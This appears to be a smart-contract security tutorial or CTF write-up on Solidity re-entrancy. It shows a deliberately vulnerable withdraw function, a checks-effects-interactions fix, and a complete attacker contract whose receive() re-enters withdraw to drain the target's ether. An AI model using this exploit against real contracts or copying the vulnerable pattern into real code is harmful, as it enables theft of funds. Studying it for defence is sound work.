✅Re-entrancy
reentrancy attack
Description
Background Knowledge
Lecture
Ethereum Book
Code Audit
Solution
Summary
The DAO Hack
Last updated
reentrancy attack
Last updated
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}// Bad
function withdraw(uint _amount) public {
// Checks
if(balances[msg.sender] >= _amount) {
// Interactions
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
// Effects
balances[msg.sender] -= _amount;
}
}// Good
function withdraw(uint _amount) public {
// Checks
if(balances[msg.sender] >= _amount) {
// Effects
balances[msg.sender] -= _amount;
// Interactions
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
}
}await getBalance(contract.address)// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract ReentranceAttack {
address public owner;
IReentrance targetContract;
uint constant targetValue = 1000000000000000; // 0.001 ether
constructor(address _target) {
targetContract = IReentrance(_target);
owner = msg.sender;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function donateAndWithdraw() public payable {
require(msg.value >= targetValue);
targetContract.donate{value: msg.value}(address(this));
targetContract.withdraw(msg.value); // exploit reentrancy
}
function withdrawAll() public returns (bool) {
require(msg.sender == owner);
uint totalBalance = address(this).balance;
(bool sent, ) = msg.sender.call{value: totalBalance}("");
require(sent);
return sent;
}
receive() external payable {
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) {
targetContract.withdraw(targetValue);
}
}
}